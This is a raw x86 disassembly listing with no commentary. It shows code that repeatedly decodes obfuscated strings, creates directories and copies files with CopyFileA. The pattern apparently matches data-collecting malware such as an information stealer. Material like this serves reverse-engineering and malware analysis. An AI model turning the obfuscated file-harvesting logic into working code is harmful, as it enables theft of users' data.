cmp ecx, 7
jb 0x43dbd0
lea eax, [ebp - 0xc5]
push eax
call fcn.004de911
lea ecx, [ebp - 0xb3c]
mov edx, eax
push ecx
lea ecx, [ebp - 0x7fc]
call fcn.004637a0
add esp, 8
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0xb3c]
call fcn.00402890
cmp dword [ebp - 0x7e8], 0x10
lea edx, [ebp - 0x7fc]
xorps xmm0, xmm0
cmovae edx, dword [ebp - 0x7fc]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x20], esp
mov ecx, edx
movups xmmword [esi], xmm0
lea eax, [ecx + 1]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43dc55
sub ecx, dword [ebp - 0x2c]
push ecx
push edx
mov ecx, esi
call fcn.00402aa0
mov byte [ebp - 4], 0x22
mov byte [ebp - 4], 0x21
call fcn.0040b890
add esp, 0x18
test al, al
je 0x43dd78
movaps xmm0, xmmword [0x526450]
xor ecx, ecx
movups xmmword [ebp - 0x424], xmm0
mov dword [ebp - 0x414], 0x2064392f
mov dword [ebp - 0x410], 0x242539
nop dword [eax]
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x424]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x424], al
inc ecx
cmp ecx, 0x17
jb 0x43dcb0
mov byte [ebp - 4], 0x23
lea ecx, [ebp - 0x424]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43dcd8
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x2b4]
sub eax, edx
cmp eax, ecx
jb 0x44141a
cmp dword [ebp - 0x2b0], 0x10
lea eax, [ebp - 0x2c4]
push ecx
cmovae eax, dword [ebp - 0x2c4]
lea ecx, [ebp - 0x424]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xc8c]
call fcn.00467530
or dword [ebp - 0x28], 0x10
lea ecx, [ebp - 0xc8c]
cmp dword [ebp - 0xc78], 0x10
lea eax, [ebp - 0x7fc]
push 0
cmovae ecx, dword [ebp - 0xc8c]
cmp dword [ebp - 0x7e8], 0x10
push ecx
cmovae eax, dword [ebp - 0x7fc]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x28], 0xffffffef
mov esi, eax
mov byte [ebp - 4], 0x21
lea ecx, [ebp - 0xc8c]
call fcn.00402890
test esi, esi
je 0x43dd78
mov byte [ebp - 0x38], 1
jmp 0x43dd8d
cmp byte [ebp - 0xe], 0
jne 0x43dd8d
push ecx
lea ecx, [ebp - 0x2c4]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x1c
lea ecx, [ebp - 0x7fc]
call fcn.00402890
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x814]
call fcn.00402890
mov byte [ebp - 4], 0x14
lea ecx, [ebp - 0x82c]
call fcn.00402890
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x1e9], 0x2b061e16
xor ecx, ecx
mov dword [ebp - 0x1e5], 0x2229243f
mov word [ebp - 0x1e1], 0x382f
mov byte [ebp - 0x1df], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x1e9]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1e9], al
inc ecx
cmp ecx, 0xa
jb 0x43ddf0
lea eax, [ebp - 0x1e9]
push eax
lea edx, [ebp - 0x3f4]
lea ecx, [ebp - 0x6a8]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x24
lea eax, [ebp - 0x6a8]
cmp dword [ebp - 0x694], 0x10
push 0
cmovae eax, dword [ebp - 0x6a8]
push eax
call esi
test eax, eax
je 0x43e12c
movaps xmm0, xmmword [0x526090]
xor ecx, ecx
movups xmmword [ebp - 0x9c1], xmm0
mov dword [ebp - 0x991], 0x39206439
movaps xmm0, xmmword [0x526ad0]
movups xmmword [ebp - 0x9b1], xmm0
mov word [ebp - 0x98d], 0x2425
movaps xmm0, xmmword [0x5266f0]
movups xmmword [ebp - 0x9a1], xmm0
mov byte [ebp - 0x98b], 0
movzx eax, byte [ebp + ecx - 0x9c1]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x9c1], al
inc ecx
cmp ecx, 0x36
jb 0x43de91
xorps xmm0, xmm0
mov dword [ebp - 0x5f0], 0
lea ecx, [ebp - 0x9c1]
mov dword [ebp - 0x5ec], 0
movups xmmword [ebp - 0x600], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43ded3
sub ecx, edx
lea eax, [ebp - 0x9c1]
push ecx
push eax
lea ecx, [ebp - 0x600]
call fcn.00402aa0
mov byte [ebp - 4], 0x25
xor ecx, ecx
mov dword [ebp - 0xcd], 0xe1a1a0b
mov dword [ebp - 0xc9], 0xb1e0b
nop dword [eax]
movzx eax, byte [ebp + ecx - 0xcd]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xcd], al
inc ecx
cmp ecx, 7
jb 0x43df10
lea eax, [ebp - 0xcd]
push eax
call fcn.004de911
lea ecx, [ebp - 0x600]
mov edx, eax
push ecx
lea ecx, [ebp - 0x844]
call fcn.004637a0
add esp, 8
mov byte [ebp - 4], 0x27
mov ecx, dword [ebp - 0x5ec]
cmp ecx, 0x10
jb 0x43df8c
mov edx, dword [ebp - 0x600]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43df82
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44141f
push ecx
push edx
call fcn.004b9cb1
add esp, 8
cmp dword [ebp - 0x830], 0x10
lea edx, [ebp - 0x844]
mov dword [ebp - 0x5f0], 0
xorps xmm0, xmm0
cmovae edx, dword [ebp - 0x844]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x5ec], 0xf
mov ecx, edx
mov byte [ebp - 0x600], 0
mov dword [ebp - 0x20], esp
movups xmmword [esi], xmm0
lea eax, [ecx + 1]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [ebp - 0x2c], eax
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43dfe0
sub ecx, dword [ebp - 0x2c]
push ecx
push edx
mov ecx, esi
call fcn.00402aa0
mov byte [ebp - 4], 0x28
mov byte [ebp - 4], 0x27
call fcn.0040b890
add esp, 0x18
test al, al
je 0x43e108
movaps xmm0, xmmword [0x526250]
xor ecx, ecx
movups xmmword [ebp - 0x3c3], xmm0
mov dword [ebp - 0x3b3], 0x64392f26
mov dword [ebp - 0x3af], 0x24253920
mov byte [ebp - 0x3ab], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x3c3]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x3c3], al
inc ecx
cmp ecx, 0x18
jb 0x43e040
mov byte [ebp - 4], 0x29
lea ecx, [ebp - 0x3c3]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e068
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x698]
sub eax, edx
cmp eax, ecx
jb 0x44141a
cmp dword [ebp - 0x694], 0x10
lea eax, [ebp - 0x6a8]
push ecx
cmovae eax, dword [ebp - 0x6a8]
lea ecx, [ebp - 0x3c3]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xca4]
call fcn.00467530
or dword [ebp - 0x28], 0x20
lea ecx, [ebp - 0xca4]
cmp dword [ebp - 0xc90], 0x10
lea eax, [ebp - 0x844]
push 0
cmovae ecx, dword [ebp - 0xca4]
cmp dword [ebp - 0x830], 0x10
push ecx
cmovae eax, dword [ebp - 0x844]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x28], 0xffffffdf
mov esi, eax
mov byte [ebp - 4], 0x27
lea ecx, [ebp - 0xca4]
call fcn.00402890
test esi, esi
je 0x43e108
mov byte [ebp - 0x38], 1
jmp 0x43e117
push ecx
lea ecx, [ebp - 0x6a8]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x24
lea ecx, [ebp - 0x844]
call fcn.00402890
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x275], 0x2b2f0c16
xor ecx, ecx
mov dword [ebp - 0x271], 0x382f223e
mov dword [ebp - 0x26d], 0x2f232609
mov word [ebp - 0x269], 0x3e24
mov byte [ebp - 0x267], 0
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x275]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x275], al
inc ecx
cmp ecx, 0xe
jb 0x43e160
lea eax, [ebp - 0x275]
push eax
lea edx, [ebp - 0x3f4]
lea ecx, [ebp - 0x690]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x2a
lea eax, [ebp - 0x690]
cmp dword [ebp - 0x67c], 0x10
push 0
cmovae eax, dword [ebp - 0x690]
push eax
call esi
test eax, eax
je 0x43e42c
movaps xmm0, xmmword [0x526310]
xor ecx, ecx
movups xmmword [ebp - 0x43c], xmm0
mov dword [ebp - 0x42c], 0x2064393e
mov dword [ebp - 0x428], 0x242539
nop
movzx eax, byte [ebp + ecx - 0x43c]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x43c], al
inc ecx
cmp ecx, 0x17
jb 0x43e1e0
xorps xmm0, xmm0
mov dword [ebp - 0xb44], 0
lea ecx, [ebp - 0x43c]
mov dword [ebp - 0xb40], 0
movups xmmword [ebp - 0xb54], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e222
sub ecx, edx
lea eax, [ebp - 0x43c]
push ecx
push eax
lea ecx, [ebp - 0xb54]
call fcn.00402aa0
mov byte [ebp - 4], 0x2b
xor ecx, ecx
mov dword [ebp - 0xd5], 0xe1a1a0b
mov dword [ebp - 0xd1], 0xb1e0b
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0xd5]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xd5], al
inc ecx
cmp ecx, 7
jb 0x43e260
lea eax, [ebp - 0xd5]
push eax
call fcn.004de911
lea ecx, [ebp - 0xb54]
mov edx, eax
push ecx
lea ecx, [ebp - 0x85c]
call fcn.004637a0
add esp, 8
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0xb54]
call fcn.00402890
cmp dword [ebp - 0x848], 0x10
lea edx, [ebp - 0x85c]
xorps xmm0, xmm0
cmovae edx, dword [ebp - 0x85c]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x20], esp
mov ecx, edx
movups xmmword [esi], xmm0
lea eax, [ecx + 1]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e2e5
sub ecx, dword [ebp - 0x2c]
push ecx
push edx
mov ecx, esi
call fcn.00402aa0
mov byte [ebp - 4], 0x2e
mov byte [ebp - 4], 0x2d
call fcn.0040b890
add esp, 0x18
test al, al
je 0x43e408
mov dword [ebp - 0x219], 0x29292b16
xor ecx, ecx
mov dword [ebp - 0x215], 0x3e243f25
mov dword [ebp - 0x211], 0x39206439
mov word [ebp - 0x20d], 0x2425
mov byte [ebp - 0x20b], 0
movzx eax, byte [ebp + ecx - 0x219]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x219], al
inc ecx
cmp ecx, 0xe
jb 0x43e340
mov byte [ebp - 4], 0x2f
lea ecx, [ebp - 0x219]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e368
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x680]
sub eax, edx
cmp eax, ecx
jb 0x44141a
cmp dword [ebp - 0x67c], 0x10
lea eax, [ebp - 0x690]
push ecx
cmovae eax, dword [ebp - 0x690]
lea ecx, [ebp - 0x219]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xcbc]
call fcn.00467530
or dword [ebp - 0x28], 4
lea ecx, [ebp - 0xcbc]
cmp dword [ebp - 0xca8], 0x10
lea eax, [ebp - 0x85c]
push 0
cmovae ecx, dword [ebp - 0xcbc]
cmp dword [ebp - 0x848], 0x10
push ecx
cmovae eax, dword [ebp - 0x85c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x28], 0xfffffffb
mov esi, eax
mov byte [ebp - 4], 0x2d
lea ecx, [ebp - 0xcbc]
call fcn.00402890
test esi, esi
je 0x43e408
mov byte [ebp - 0x38], 1
jmp 0x43e417
push ecx
lea ecx, [ebp - 0x690]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x2a
lea ecx, [ebp - 0x85c]
call fcn.00402890
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x258], 0x243f0616
xor ecx, ecx
mov dword [ebp - 0x254], 0x2609382b
mov dword [ebp - 0x250], 0x3e242f23
mov byte [ebp - 0x24c], 0
nop dword [eax]
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x258]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x258], al
inc ecx
cmp ecx, 0xc
jb 0x43e460
lea eax, [ebp - 0x258]
push eax
lea edx, [ebp - 0x3f4]
lea ecx, [ebp - 0x678]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x30
lea eax, [ebp - 0x678]
cmp dword [ebp - 0x664], 0x10
push 0
cmovae eax, dword [ebp - 0x678]
push eax
call esi
test eax, eax
je 0x43e752
movaps xmm0, xmmword [0x526790]
xor ecx, ecx
movups xmmword [ebp - 0x745], xmm0
mov dword [ebp - 0x725], 0x3e243f25
movaps xmm0, xmmword [0x5264f0]
movups xmmword [ebp - 0x735], xmm0
mov dword [ebp - 0x721], 0x323e6439
mov word [ebp - 0x71d], 0x3e
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x745]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x745], al
inc ecx
cmp ecx, 0x29
jb 0x43e500
xorps xmm0, xmm0
mov dword [ebp - 0xb5c], 0
lea ecx, [ebp - 0x745]
mov dword [ebp - 0xb58], 0
movups xmmword [ebp - 0xb6c], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e542
sub ecx, edx
lea eax, [ebp - 0x745]
push ecx
push eax
lea ecx, [ebp - 0xb6c]
call fcn.00402aa0
mov byte [ebp - 4], 0x31
xor ecx, ecx
mov dword [ebp - 0x225], 0x180f191f
mov dword [ebp - 0x221], 0xc05181a
mov dword [ebp - 0x21d], 0xf0603
movzx eax, byte [ebp + ecx - 0x225]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x225], al
inc ecx
cmp ecx, 0xb
jb 0x43e582
lea eax, [ebp - 0x225]
push eax
call fcn.004de911
lea ecx, [ebp - 0xb6c]
mov edx, eax
push ecx
lea ecx, [ebp - 0x874]
call fcn.004637a0
add esp, 8
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0xb6c]
call fcn.00402890
cmp dword [ebp - 0x860], 0x10
lea edx, [ebp - 0x874]
xorps xmm0, xmm0
cmovae edx, dword [ebp - 0x874]
sub esp, 0x18
mov esi, esp
mov dword [ebp - 0x20], esp
mov ecx, edx
movups xmmword [esi], xmm0
lea eax, [ecx + 1]
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [ebp - 0x2c], eax
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e607
sub ecx, dword [ebp - 0x2c]
push ecx
push edx
mov ecx, esi
call fcn.00402aa0
mov byte [ebp - 4], 0x34
mov byte [ebp - 4], 0x33
call fcn.0040b890
add esp, 0x18
test al, al
je 0x43e72e
mov dword [ebp - 0x1a1], 0x29292b16
xor ecx, ecx
mov dword [ebp - 0x19d], 0x3e243f25
mov dword [ebp - 0x199], 0x323e6439
mov word [ebp - 0x195], 0x3e
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x1a1]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x1a1], al
inc ecx
cmp ecx, 0xd
jb 0x43e660
mov byte [ebp - 4], 0x35
lea ecx, [ebp - 0x1a1]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e688
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x668]
sub eax, edx
cmp eax, ecx
jb 0x44141a
cmp dword [ebp - 0x664], 0x10
lea eax, [ebp - 0x678]
push ecx
cmovae eax, dword [ebp - 0x678]
lea ecx, [ebp - 0x1a1]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xcd4]
call fcn.00467530
or dword [ebp - 0x1c], 0x40000000
lea ecx, [ebp - 0xcd4]
cmp dword [ebp - 0xcc0], 0x10
lea eax, [ebp - 0x874]
push 0
cmovae ecx, dword [ebp - 0xcd4]
cmp dword [ebp - 0x860], 0x10
push ecx
cmovae eax, dword [ebp - 0x874]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
and dword [ebp - 0x1c], 0xbfffffff
mov esi, eax
mov byte [ebp - 4], 0x33
lea ecx, [ebp - 0xcd4]
call fcn.00402890
test esi, esi
je 0x43e72e
mov byte [ebp - 0x38], 1
jmp 0x43e73d
push ecx
lea ecx, [ebp - 0x678]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x874]
call fcn.00402890
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0x231], 0x3e2b0816
xor ecx, ecx
mov dword [ebp - 0x22d], 0x642f263e
mov dword [ebp - 0x229], 0x3e2f24
movzx eax, byte [ebp + ecx - 0x231]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x231], al
inc ecx
cmp ecx, 0xb
jb 0x43e772
lea eax, [ebp - 0x231]
push eax
lea edx, [ebp - 0x3f4]
lea ecx, [ebp - 0x660]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x36
lea eax, [ebp - 0x660]
cmp dword [ebp - 0x64c], 0x10
push 0
cmovae eax, dword [ebp - 0x660]
push eax
call esi
test eax, eax
je 0x43ed1e
xor al, al
mov dword [ebp - 0x16d], 0x3e2b0816
mov byte [ebp - 0xe], al
xor ecx, ecx
mov dword [ebp - 0x169], 0x642f263e
mov dword [ebp - 0x165], 0x3e2f24
movzx eax, byte [ebp + ecx - 0x16d]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x16d], al
inc ecx
cmp ecx, 0xb
jb 0x43e7f2
xorps xmm0, xmm0
mov dword [ebp - 0x608], 0
lea ecx, [ebp - 0x16d]
mov dword [ebp - 0x604], 0
movups xmmword [ebp - 0x618], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43e834
sub ecx, edx
lea eax, [ebp - 0x16d]
push ecx
push eax
lea ecx, [ebp - 0x618]
call fcn.00402aa0
mov byte [ebp - 4], 0x37
xor ecx, ecx
mov dword [ebp - 0xdd], 0xe1a1a0b
mov dword [ebp - 0xd9], 0xb1e0b
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0xdd]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xdd], al
inc ecx
cmp ecx, 7
jb 0x43e870
lea eax, [ebp - 0xdd]
push eax
call fcn.004de911
lea ecx, [ebp - 0x618]
mov edx, eax
push ecx
lea ecx, [ebp - 0xd4c]
call fcn.004637a0
add esp, 8
mov byte [ebp - 4], 0x39
mov ecx, dword [ebp - 0x604]
cmp ecx, 0x10
jb 0x43e8ec
mov edx, dword [ebp - 0x618]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43e8e2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44141f
push ecx
push edx
call fcn.004b9cb1
add esp, 8
push 1
sub esp, 0x18
mov dword [ebp - 0x608], 0
lea eax, [ebp - 0xd4c]
mov dword [ebp - 0x20], esp
mov ecx, esp
mov dword [ebp - 0x604], 0xf
mov byte [ebp - 0x618], 0
push eax
mov byte [ebp - 0xd], 0
call fcn.0045f3c0
mov byte [ebp - 4], 0x3a
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x880]
mov dl, byte [ebp - 0xd]
call fcn.004215d0
add esp, 0x1c
mov byte [ebp - 4], 0x3b
mov eax, dword [ebp - 0x880]
mov ecx, dword [ebp - 0x87c]
mov dword [ebp - 0x2c], eax
cmp eax, ecx
je 0x43eceb
mov byte [ebp - 0x34], 0
mov edi, ecx
mov byte [ebp - 0x20], 0
nop
push eax
lea ecx, [ebp - 0xb9c]
call fcn.0045f3c0
mov byte [ebp - 4], 0x3c
lea edx, [ebp - 0xb9c]
push dword [ebp - 0x34]
lea ecx, [ebp - 0xb84]
call fcn.0046a450
mov byte [ebp - 4], 0x3f
lea ecx, [ebp - 0xb84]
cmp dword [ebp - 0xb70], 8
mov eax, dword [ebp - 0xb74]
cmovae ecx, dword [ebp - 0xb84]
lea esi, [ecx + eax*2]
mov edx, esi
call fcn.00404d20
push dword [ebp - 0x20]
sub esi, eax
mov dword [ebp - 0x2ac], eax
sar esi, 1
lea edx, [ebp - 0x2ac]
lea ecx, [ebp - 0xd1c]
mov dword [ebp - 0x2a8], esi
call fcn.0046a1b0
add esp, 8
mov byte [ebp - 4], 0x3f
lea eax, [ebp - 0x390]
or dword [ebp - 0x14], 0x80000
lea ecx, [ebp - 0xd1c]
push eax
call fcn.00405000
mov byte [ebp - 4], 0x41
and dword [ebp - 0x14], 0xfff7ffff
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0xd1c]
call fcn.00461540
mov word [ebp - 0x3b], 0x282e
xor ecx, ecx
mov byte [ebp - 0x39], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x3b]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x3b], al
inc ecx
cmp ecx, 2
jb 0x43ea20
lea edx, [ebp - 0x3b]
lea ecx, [edx + 1]
nop dword [eax + eax]
mov al, byte [edx]
inc edx
test al, al
jne 0x43ea40
sub edx, ecx
lea eax, [ebp - 0x3b]
cmp dword [ebp - 0x37c], 0x10
lea ecx, [ebp - 0x390]
push edx
cmovae ecx, dword [ebp - 0x390]
mov edx, dword [ebp - 0x380]
push eax
push 0
call fcn.00464d90
add esp, 0xc
cmp eax, 0xffffffff
jne 0x43eb02
mov dword [ebp - 0x8a], 0x2c242529
xor ecx, ecx
mov word [ebp - 0x86], 0x2d23
mov byte [ebp - 0x84], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0x8a]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x8a], al
inc ecx
cmp ecx, 6
jb 0x43eaa0
lea edx, [ebp - 0x8a]
lea ecx, [edx + 1]
mov al, byte [edx]
inc edx
test al, al
jne 0x43eac4
sub edx, ecx
lea eax, [ebp - 0x8a]
cmp dword [ebp - 0x37c], 0x10
lea ecx, [ebp - 0x390]
push edx
cmovae ecx, dword [ebp - 0x390]
mov edx, dword [ebp - 0x380]
push eax
push 0
call fcn.00464d90
add esp, 0xc
cmp eax, 0xffffffff
je 0x43eca4
push 0x16
mov byte [ebp - 0x3c], 0
call fcn.004606a0
mov byte [ebp - 0x3d], al
mov byte [ebp - 4], 0x44
lea ecx, [ebp - 0x3d]
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43eb20
sub ecx, edx
mov eax, closesocket
mov edx, dword [ebp - 0x650]
sub eax, edx
cmp eax, ecx
jb 0x44141a
cmp dword [ebp - 0x64c], 0x10
lea eax, [ebp - 0x660]
push ecx
cmovae eax, dword [ebp - 0x660]
lea ecx, [ebp - 0x3d]
push ecx
push edx
push eax
push ecx
push dword [ebp - 0x20]
lea ecx, [ebp - 0xd34]
call fcn.00467530
or dword [ebp - 0x14], 0x80000000
mov byte [ebp - 4], 0x45
lea eax, [ebp - 0x390]
cmp dword [ebp - 0x37c], 0x10
lea ecx, [ebp - 0xd34]
push dword [ebp - 0x380]
cmovae eax, dword [ebp - 0x390]
push eax
call fcn.00461960
mov dword [ebp - 0x444], 0
lea ecx, [ebp - 0x454]
mov dword [ebp - 0x440], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x454], xmm0
push 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x454], xmm0
movq xmm0, qword [eax + 0x10]
or dword [ebp - 0x14], 0x20000000
movq qword [ebp - 0x444], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
lea eax, [ebp - 0xb9c]
cmp dword [ebp - 0x440], 0x10
cmovae ecx, dword [ebp - 0x454]
cmp dword [ebp - 0xb88], 0x10
push ecx
cmovae eax, dword [ebp - 0xb9c]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
mov esi, eax
mov eax, dword [ebp - 0x14]
and eax, 0xdfffffff
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 0x44
mov ecx, dword [ebp - 0x440]
cmp ecx, 0x10
jb 0x43ec66
mov edx, dword [ebp - 0x454]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x43ec59
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44141f
push ecx
push edx
call fcn.004b9cb1
mov eax, dword [ebp - 0x14]
add esp, 8
and eax, 0x7fffffff
mov dword [ebp - 0x444], 0
mov dword [ebp - 0x440], 0xf
mov byte [ebp - 0x454], 0
mov dword [ebp - 0x14], eax
mov byte [ebp - 4], 0x42
lea ecx, [ebp - 0xd34]
call fcn.00402890
test esi, esi
je 0x43eca4
mov byte [ebp - 0xe], 1
mov byte [ebp - 0x38], 1
mov byte [ebp - 4], 0x3e
lea ecx, [ebp - 0x390]
call fcn.00402890
mov byte [ebp - 4], 0x3c
lea ecx, [ebp - 0xb84]
call fcn.00461540
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0xb9c]
call fcn.00402890
mov eax, dword [ebp - 0x2c]
add eax, 0x18
mov dword [ebp - 0x2c], eax
cmp eax, edi
jne 0x43e960
cmp byte [ebp - 0xe], 0
mov edi, dword [ebp - 0x14]
jne 0x43ecfa
push ecx
lea ecx, [ebp - 0x660]
call fcn.0040b980
add esp, 4
mov byte [ebp - 4], 0x39
lea ecx, [ebp - 0x880]
call fcn.004612b0
mov byte [ebp - 4], 0x36
lea ecx, [ebp - 0xd4c]
call fcn.00402890
mov esi, dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
mov dword [ebp - 0xa2], 0x2f3e1916
xor ecx, ecx
mov word [ebp - 0x9e], 0x272b
mov byte [ebp - 0x9c], 0
nop word [eax + eax]
movzx eax, byte [ebp + ecx - 0xa2]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0xa2], al
inc ecx
cmp ecx, 6
jb 0x43ed40
lea eax, [ebp - 0xa2]
push eax
lea edx, [ebp - 0x3f4]
lea ecx, [ebp - 0x49c]
call fcn.004635e0
add esp, 4
mov byte [ebp - 4], 0x47
lea eax, [ebp - 0x49c]
cmp dword [ebp - 0x488], 0x10
push 0
cmovae eax, dword [ebp - 0x49c]
push eax
call esi
test eax, eax
je 0x43f481
movaps xmm0, xmmword [0x5269d0]
xor ecx, ecx
mov byte [ebp - 0xe], 0
movups xmmword [ebp - 0x35f], xmm0
mov dword [ebp - 0x34f], 0x7232626a
mov dword [ebp - 0x34b], 0x3916637c
mov dword [ebp - 0x347], 0x272b2f3e
mov byte [ebp - 0x343], 0
nop dword [eax]
nop dword [eax + eax]
movzx eax, byte [ebp + ecx - 0x35f]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x35f], al
inc ecx
cmp ecx, 0x1c
jb 0x43ede0
xorps xmm0, xmm0
mov dword [ebp - 0x314], 0
lea ecx, [ebp - 0x35f]
mov dword [ebp - 0x310], 0
movups xmmword [ebp - 0x324], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43ee22
sub ecx, edx
lea eax, [ebp - 0x35f]
push ecx
push eax
lea ecx, [ebp - 0x324]
call fcn.00402aa0
mov byte [ebp - 4], 0x48
lea ecx, [ebp - 0x324]
cmp dword [ebp - 0x310], 0x10
cmovae ecx, dword [ebp - 0x324]
call fcn.0040b930
test al, al
jne 0x43ef45
movaps xmm0, xmmword [0x5269d0]
xor ecx, ecx
movups xmmword [ebp - 0x46b], xmm0
mov dword [ebp - 0x45b], 0x2f3e3916
mov word [ebp - 0x457], 0x272b
mov byte [ebp - 0x455], al
nop dword [eax]
movzx eax, byte [ebp + ecx - 0x46b]
push eax
call fcn.004606a0
mov byte [ebp + ecx - 0x46b], al
inc ecx
cmp ecx, 0x16
jb 0x43ee90
xorps xmm0, xmm0
mov dword [ebp - 0x620], 0
lea ecx, [ebp - 0x46b]
mov dword [ebp - 0x61c], 0
movups xmmword [ebp - 0x630], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x43eed2
sub ecx, edx
lea eax, [ebp - 0x46b]
push ecx
push eax
lea ecx, [ebp - 0x630]
call fcn.00402aa0
mov byte [ebp - 4], 0x49
lea ecx, [ebp - 0x324]
call fcn.00402890
movups xmm0, xmmword [ebp - 0x630]
mov byte [ebp - 0x630], 0
movups xmmword [ebp - 0x324], xmm0
movq xmm0, qword [ebp - 0x620]
movq qword [ebp - 0x314], xmm0
mov dword [ebp - 0x620], 0
mov dword [ebp - 0x61c], 0xf
